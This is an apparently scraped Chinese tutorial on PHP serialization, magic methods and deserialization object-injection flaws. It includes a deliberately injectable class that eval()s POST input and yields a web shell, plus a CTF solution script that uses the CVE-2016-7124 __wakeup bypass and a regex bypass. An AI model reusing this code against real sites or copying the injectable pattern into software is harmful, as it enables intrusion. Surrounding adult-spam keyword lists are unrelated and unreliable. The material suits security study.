日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

詳解php反序列化

瀏覽:298日期:2022-09-09 18:31:59

1 前言

最近也是在復習之前學過的內容,感覺對PHP反序列化的理解更加深了,所以在此總結一下

2 serialize()函數

“所有php里面的值都可以使用函數serialize()來返回一個包含字節流的字符串來表示。序列化一個對象將會保存對象的所有變量,但是不會保存對象的方法,只會保存類的名字。”

一開始看這個概念可能有些懵,但之后也是慢慢理解了

在程序執行結束時,內存數據便會立即銷毀,變量所儲存的數據便是內存數據,而文件、數據庫是“持久數據”,因此PHP序列化就是將內存的變量數據“保存”到文件中的持久數據的過程。

$s = serialize($變量); //該函數將變量數據進行序列化轉換為字符串 file_put_contents(‘./目標文本文件’, $s); //將$s保存到指定文件

下面通過一個具體的例子來了解一下序列化:

<?phpclass User{ public $age = 0; public $name = ’’; public function PrintData() { echo ’User ’.$this->name.’is’.$this->age.’years old. <br />’; }}//創建一個對象$user = new User();// 設置數據$user->age = 20;$user->name = ’daye’;//輸出數據$user->PrintData();//輸出序列化之后的數據echo serialize($user);?>

這個是結果:

詳解php反序列化

可以看到序列化一個對象后將會保存對象的所有變量,并且發現序列化后的結果都有一個字符,這些字符都是以下字母的縮寫。

a - array b - booleand - double i - integero - common object r - references - string C - custom objectO - class N - nullR - pointer reference U - unicode string

了解了縮寫的類型字母,便可以得到PHP序列化格式

O:4:'User':2:{s:3:'age';i:20;s:4:'name';s:4:'daye';}對象類型:長度:'類名':類中變量的個數:{類型:長度:'值';類型:長度:'值';......}

通過以上例子,便可以理解了概念中的通過serialize()函數返回一個包含字節流的字符串這一段話。

3 unserialize()函數

unserialize() 對單一的已序列化的變量進行操作,將其轉換回 PHP 的值。在解序列化一個對象前,這個對象的類必須在解序列化之前定義。

簡單來理解起來就算將序列化過存儲到文件中的數據,恢復到程序代碼的變量表示形式的過程,恢復到變量序列化之前的結果。

$s = file_get_contents(‘./目標文本文件’); //取得文本文件的內容(之前序列化過的字符串) $變量 = unserialize($s); //將該文本內容,反序列化到指定的變量中

通過一個例子來了解反序列化:

<?phpclass User{ public $age = 0; public $name = ’’; public function PrintData() { echo ’User ’.$this->name.’ is ’.$this->age.’ years old. <br />’; }}//重建對象$user = unserialize(’O:4:'User':2:{s:3:'age';i:20;s:4:'name';s:4:'daye';}’);$user->PrintData();?>

這個是結果:

詳解php反序列化

注意:在解序列化一個對象前,這個對象的類必須在解序列化之前定義。否則會報錯

4 PHP反序列化漏洞

在學習漏洞前,先來了解一下PHP魔法函數,對接下來的學習會很有幫助

PHP 將所有以 __(兩個下劃線)開頭的類方法保留為魔術方法

__construct 當一個對象創建時被調用,__destruct 當一個對象銷毀時被調用,__toString 當一個對象被當作一個字符串被調用。__wakeup() 使用unserialize時觸發__sleep() 使用serialize時觸發__destruct() 對象被銷毀時觸發__call() 在對象上下文中調用不可訪問的方法時觸發__callStatic() 在靜態上下文中調用不可訪問的方法時觸發__get() 用于從不可訪問的屬性讀取數據__set() 用于將數據寫入不可訪問的屬性__isset() 在不可訪問的屬性上調用isset()或empty()觸發__unset() 在不可訪問的屬性上使用unset()時觸發__toString() 把類當作字符串使用時觸發,返回值需要為字符串__invoke() 當腳本嘗試將對象調用為函數時觸發

這里只列出了一部分的魔法函數,具體可見

https://www.php.net/manual/zh/language.oop5.magic.php

下面通過一個例子來了解一下魔法函數被自動調用的過程

<?phpclass test{ public $varr1='abc'; public $varr2='123'; public function echoP(){ echo $this->varr1.'<br>'; } public function __construct(){ echo '__construct<br>'; } public function __destruct(){ echo '__destruct<br>'; } public function __toString(){ return '__toString<br>'; } public function __sleep(){ echo '__sleep<br>'; return array(’varr1’,’varr2’); } public function __wakeup(){ echo '__wakeup<br>'; }}$obj = new test(); //實例化對象,調用__construct()方法,輸出__construct$obj->echoP(); //調用echoP()方法,輸出'abc'echo $obj; //obj對象被當做字符串輸出,調用__toString()方法,輸出__toString$s =serialize($obj); //obj對象被序列化,調用__sleep()方法,輸出__sleepecho unserialize($s); //$s首先會被反序列化,會調用__wake()方法,被反序列化出來的對象又被當做字符串,就會調用_toString()方法。// 腳本結束又會調用__destruct()方法,輸出__destruct?>

這個是結果:

詳解php反序列化

通過這個例子就可以清晰的看到魔法函數在符合相應的條件時便會被調用。

5 對象注入

當用戶的請求在傳給反序列化函數unserialize()之前沒有被正確的過濾時就會產生漏洞。因為PHP允許對象序列化,攻擊者就可以提交特定的序列化的字符串給一個具有該漏洞的unserialize函數,最終導致一個在該應用范圍內的任意PHP對象注入。

對象漏洞出現得滿足兩個前提:

一、unserialize的參數可控。

二、 代碼里有定義一個含有魔術方法的類,并且該方法里出現一些使用類成員變量作為參數的存在安全問題的函數。下面來舉個例子:

<?phpclass A{ var $test = 'demo'; function __destruct(){ echo $this->test; }}$a = $_GET[’test’];$a_unser = unserialize($a);?>

比如這個列子,直接是用戶生成的內容傳遞給unserialize()函數,那就可以構造這樣的語句

?test=O:1:'A':1:{s:4:'test';s:5:'lemon';}

在腳本運行結束后便會調用_destruct函數,同時會覆蓋test變量輸出lemon。

詳解php反序列化

發現這個漏洞,便可以利用這個漏洞點控制輸入變量,拼接成一個序列化對象。

再看一個例子:

<?phpclass A{ var $test = 'demo'; function __destruct(){ @eval($this->test);//_destruct()函數中調用eval執行序列化對象中的語句 }}$test = $_POST[’test’];$len = strlen($test)+1;$pp = 'O:1:'A':1:{s:4:'test';s:'.$len.':''.$test.';';}'; // 構造序列化對象$test_unser = unserialize($pp); // 反序列化同時觸發_destruct函數?>

其實仔細觀察就會發現,其實我們手動構造序列化對象就是為了unserialize()函數能夠觸發__destruc()函數,然后執行在__destruc()函數里惡意的語句。

所以我們利用這個漏洞點便可以獲取web shell了

詳解php反序列化

6 繞過魔法函數的反序列化

wakeup()魔法函數繞過

PHP5<5.6.25PHP7<7.0.10

PHP反序列化漏洞CVE-2016-7124

#a#重點:當反序列化字符串中,表示屬性個數的值大于真實屬性個數時,會繞過 __wakeup 函數的執行

百度杯——Hash

詳解php反序列化

其實仔細分析代碼,只要我們能繞過兩點即可得到f15g_1s_here.php的內容

(1)繞過正則表達式對變量的檢查 (2)繞過_wakeup()魔法函數,因為如果我們反序列化的不是Gu3ss_m3_h2h2.php,這個魔法函數在反序列化時會觸發并強制轉成Gu3ss_m3_h2h2.php

那么問題就來了,如果繞過正則表達式(1)/[oc]:d+:/i,例如:o:4:這樣就會被匹配到,而繞過也很簡單,只需加上一個+,這個正則表達式即匹配不到0:+4:

(2)繞過_wakeup()魔法函數,上面提到了當反序列化字符串中,表示屬性個數的值大于真實屬性個數時,會繞過 _wakeup 函數的執行

編寫php序列化腳本

<?phpclass Demo { private $file = ’Gu3ss_m3_h2h2.php’; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != ’Gu3ss_m3_h2h2.php’) { //the secret is in the f15g_1s_here.php $this->file = ’Gu3ss_m3_h2h2.php’; } }}#先創建一個對象,自動調用__construct魔法函數$obj = new Demo(’f15g_1s_here.php’);#進行序列化$a = serialize($obj);#使用str_replace() 函數進行替換,來繞過正則表達式的檢查$a = str_replace(’O:4:’,’O:+4:’,$a);#使用str_replace() 函數進行替換,來繞過__wakeup()魔法函數$a = str_replace(’:1:’,’:2:’,$a);#再進行base64編碼echo base64_encode($a);?>

以上就是詳解php反序列化的詳細內容,更多關于php反序列化的資料請關注好吧啦網其它相關文章!

標簽: PHP
相關文章:
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
亚洲高清激情| 亚洲不卡系列| 亚洲天堂成人| 日本免费久久| 欧洲一级精品| 99久久夜色精品国产亚洲1000部| 国产精品高潮呻吟久久久久| 日韩福利视频导航| 国产免费av一区二区三区| 国产精品一区三区在线观看| 免费欧美在线视频| 国产一区二区三区四区二区| 日韩高清三区| 国产精品久久久久久久久免费高清 | 自拍自偷一区二区三区| 婷婷久久免费视频| 欧美一区网站| 日本在线成人| 91亚洲精品在看在线观看高清| 日韩高清不卡一区二区| 国产日韩欧美一区| 激情久久一区二区| 国产盗摄——sm在线视频| 久久电影tv| 午夜欧美视频| 亚洲精品国模| 麻豆国产一区| 91精品推荐| 午夜视频一区二区在线观看| 欧美亚洲国产日韩| а√天堂8资源在线| 久久精品1区| 夜夜嗨av一区二区三区网站四季av| 奇米777国产一区国产二区| 免费看黄色91| 欧美日本二区| 国产精品黄网站| 国产日本亚洲| 欧美片第1页综合| 91精品福利| 日本三级亚洲精品| 精品五月天堂| 欧美二区视频| 久久精品97| 成人自拍av| 一区二区91| 精品久久精品| 亚洲日本三级| 精品国产a一区二区三区v免费| 国产一区二区三区成人欧美日韩在线观看| 欧美一区久久久| 视频一区二区中文字幕| 国产精品一区二区中文字幕| 成人啊v在线| 日本不卡视频一二三区| 国产在线看片免费视频在线观看| 午夜一级在线看亚洲| 丁香六月综合| 亚洲精品黄色| 欧美片第1页| 91亚洲精品在看在线观看高清| 最新中文字幕在线播放| 亚洲精品小说| 国产精成人品2018| 中文日韩在线| 国产 日韩 欧美 综合 一区| 国产一区二区高清| 九九九精品视频| 亚洲综合丁香| 国内自拍视频一区二区三区| 黄色亚洲大片免费在线观看| 国产精品久久国产愉拍| 99视频+国产日韩欧美| 麻豆久久久久久| 蜜臀av国产精品久久久久| 成人国产精品一区二区网站| 亚洲tv在线| 日韩一区自拍| 国产精品一区2区3区| 国产日韩专区| 在线观看精品| 麻豆成人91精品二区三区| 蜜臀久久99精品久久久久久9 | 男人的天堂久久精品| 欧美一级鲁丝片| 日韩av电影一区| 午夜日本精品| 久久久精品日韩| 精品无人区麻豆乱码久久久| 日韩中文字幕无砖| 日韩在线短视频| 国产精品xxx在线观看| 亚洲精品精选| 亚洲欧美成人综合| 激情欧美丁香| 日韩一区三区| 国产夫妻在线| 精品视频97| 久久国产精品色av免费看| 一区在线免费| 久久精品中文| 中文字幕高清在线播放| 麻豆国产欧美一区二区三区| 日韩和欧美的一区| 亚洲在线免费| 91亚洲国产成人久久精品| 久久精品999| 日韩一区二区三区免费视频| 亚洲免费成人| 在线视频观看日韩| 久久人人精品| 欧美aa一级| 天堂中文av在线资源库| 久久伊人国产| 精品亚洲a∨| 国产精品宾馆| 国产精品入口久久| 国产欧美日韩视频在线| 日韩av一区二区在线影视| 欧美日韩亚洲三区| 日本午夜精品久久久久| 亚州av一区| 日韩国产91| 日韩精品久久久久久| 日韩欧美久久| 日韩久久一区| 日韩国产欧美视频| 日韩av中文在线观看| 日韩精品成人| 欧美一区不卡| 国产欧美日韩一区二区三区四区| 欧美日韩1区2区3区| 日韩激情一区二区| 欧美永久精品| 久久的色偷偷| 欧美激情综合| 精品亚洲精品| 最新中文字幕在线播放| 成人午夜精品| 午夜精品影院| 在线免费观看亚洲| 国产精品porn| 美女久久一区| 国产精品videosex极品| 久久亚洲一区| 成人在线黄色| 亚洲aⅴ网站| 夜鲁夜鲁夜鲁视频在线播放| 亚洲v在线看| 日本va欧美va瓶| 99久精品视频在线观看视频| 国产精品亚洲二区| 亚洲最新av| 日韩精品中文字幕一区二区| 国产精品日韩欧美一区| 国产精品99免费看| 久久国际精品| 国产精品一级| 欧美日韩网址| 免费日本视频一区| 精品一区不卡| 国产日韩亚洲欧美精品| 国产亚洲一区二区三区不卡| 久久亚洲电影| 日本成人在线一区| 国产精品videossex| 久久精品九色| 久久精品国产www456c0m| 99riav国产精品| 国产精品最新| 蜜桃精品在线| 首页国产欧美久久| 国产精品视频3p| 久久国产免费| 亚洲精品护士| 色欧美自拍视频| 在线综合视频| 麻豆精品久久久| 免费毛片在线不卡| 88久久精品| 日韩中文影院| 日韩精品一级中文字幕精品视频免费观看 | 国产乱子精品一区二区在线观看| 你懂的国产精品| 亚洲精品97| 国产精品传媒麻豆hd| 黄色不卡一区| 国产乱人伦丫前精品视频| 日本韩国欧美超级黄在线观看| 99riav国产精品| 久久久精品国产**网站| 亚洲精品2区| 久久91视频| 蜜臀久久久99精品久久久久久| 久久免费视频66| 免费看的黄色欧美网站| 精品一区二区三区中文字幕视频| 好看不卡的中文字幕| 国产精品jk白丝蜜臀av小说| 欧美成人国产|